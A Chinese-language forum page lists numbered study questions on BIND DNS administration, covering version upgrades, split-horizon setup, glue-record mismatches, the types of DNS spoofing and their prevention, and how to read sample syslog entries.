2. 依據 ISC 及 CERT/CC 組織的說明,建議使用 BIND 運行 DNS 的人,為了安全的理由,最好都換到 BIND 9.X 版,為什麼像 HINET/SEEDNET 這些 ISP 都不願意換呢 ?

3. BIND 8.X 與 BIND 9.X 何者查詢效能較好 ? 為什麼 ?

4. 當我們網路分 "內網 (192.168/24)" 與 "外網" 時,在過去的時代,都說要內外都要建一個 DNS , 讓內對內,外對外,以保護一些資訊,但是多一部機器或多一個 Server 都是成本,這種狀況在 BIND 9.X 是可以解決的,如何實現 ?

5. 有人在 TWNIC 指定了其 xxx.com.tw 的資料如下:
   ns1.xxx.com.tw     1.2.3.4
   ns2.xxx.com.tw     1.2.3.5
   而在其自身 DNS 的 xxx.com.tw 的 zone file 中的 ns rr 如下
   ns1.xxx.com.tw     11.22.33.44
   ns2.xxx.com.tw     11.22.33.55
   5.1試問 當 dns.seed.net.tw 去查詢時其會named會產生什麼 log (一般的 log level) 及 cache 什麼資料 ?
   5.2 而又當 ns.nctu.edu.tw 去查詢時,其 log 及 cache 情形又為何 ?

6. 有一個網域名稱叫 tw.com.tw , 為什麼他的查詢是高達每小時數萬次 ?
    管理人員覺得很困擾,用 FireWall 將 DNS query 給檔下來又會發生什麼事 ?

7. DNS 欺騙有那幾種狀況 ? 如何預防 ?

8. 以下這兩行訊息,如何在實作上表現 ? 意義為何 ?
Sep 24 10:40:11 pc071 syslog: gethostby*.getanswer: asked for "37.103.74.204. in-addr.arpa  IN  PTR" , got type "CNAME"
Sep 24 10:40:11 pc071 syslog: gethostby*.getanswer: asked for "37.103.74.204.in-addr.arpa",    got "37.32/27.103.74.204.in-addr.arpa"

9. 這一行 log 有那些可能性存在 ?
Jun 11 11:36:07 pc071 named[6103]: Response from unexpected source ([168.95.1.24].53) for query "_ldap._tcp.tmt.gtmt.com.tw IN SOA"

10. Windows DNS 可以在 GUI 的介面上顯示 Cache 資料, 那在 BIND 要如何知道現在的 DNS Cache 了那些資料 (BIND 8.x 與 9.x 方法各為何 )?

頁: [1] 2